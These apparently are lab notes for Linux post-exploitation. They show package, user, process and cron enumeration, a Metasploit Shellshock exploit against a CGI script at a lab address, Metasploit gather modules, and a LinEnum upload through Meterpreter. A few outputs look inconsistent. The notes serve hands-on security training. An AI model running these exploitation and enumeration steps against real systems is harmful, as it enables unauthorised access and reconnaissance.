NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 1.9T 0 disk /etc/hosts
sdb 8:16 0 512M 0 disk [SWAP]
Enumerate installed packages
# Target is running Debian
dpkg -l
+++-===========-=================-====-==================================================
ii adduser 3.115 all add and remove users and groups
ii apt 1.4.8 i386 commandline package manager
ii base-files 9.9+deb9u5 i386 Debian base system miscellaneous files
ii base-passwd 3.5.43 i386 Debian base system master password and group files
ii bash 4.4-5 i386 GNU Bourne Again SHell
ii binutils 2.28-5 i386 GNU assembler, linker and binary utilities
ii bsdutils 1:2.29.2-1+deb9u1 i386 basic utilities from 4.4BSD-Lite
[...]
Users & Groups
whoami
root
id
# "root" user privileges
Privilege escalation is not necessary in this case.
Enumerate users
ls -al /home
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
# Username:x:UserID:GroupID:Description:UserHome:UserShell
# User and service accounts
Enumerate all running processes, from a Meterpreter session
ps
Process List
============
PID PPID Name Arch User Path
--- ---- ---- ---- ---- ----
1 0 sh x86 root /bin
7 1 vsftpd x86 root /usr/local/sbin
8 7 sh x86 root /bin
9 8 vsftpd x86_64 nobody .
17 8 mBvXo x86_64 root /tmp
21 17 sh x86 root /bin
22 21 bash x86 root /bin
55 17 sh x86 root /bin
56 55 bash x86 root /bin
pgrep vsftpd
7
9
In the /bin/bash session
List running processes(on the Kali Linux if the target machine does not have to commands)
📌 Scheduled cron jobs can be misconfigured and vulnerable to exploitation and privilege escalation!
cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
cat: /etc/cron.weekly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
service postgresql start && msfconsole -q
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
setg RHOSTS 192.19.208.3
setg RHOST 192.19.208.3
set TARGETURI /gettime.cgi
run
Metasploit Post-Exploitation
background
Enumerate configuration files
use post/linux/gather/enum_configs
set SESSION 1
run
Enumerate network fino
use post/linux/gather/enum_network
set SESSION 1
run
Enumerate local system information
use post/linux/gather/enum_system
set SESSION 1
run
Check if the target is a VM or a container
use post/linux/gather/checkvm
set SESSION 1
run
LinEnum
Copy the content of the LinEnum.sh script and save it in the lab environment
Back into the Meterpreter session, copy the LinEnum.sh file into the /tmp target directory
session 1
cd /tmp
upload /root/Desktop/LinEnum.sh
shell
/bin/bash -i
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Run LinEnum.sh and output the results in a file
chmod +x LinEnum.sh
./LinEnum.sh
# Copy the output to a txt local file
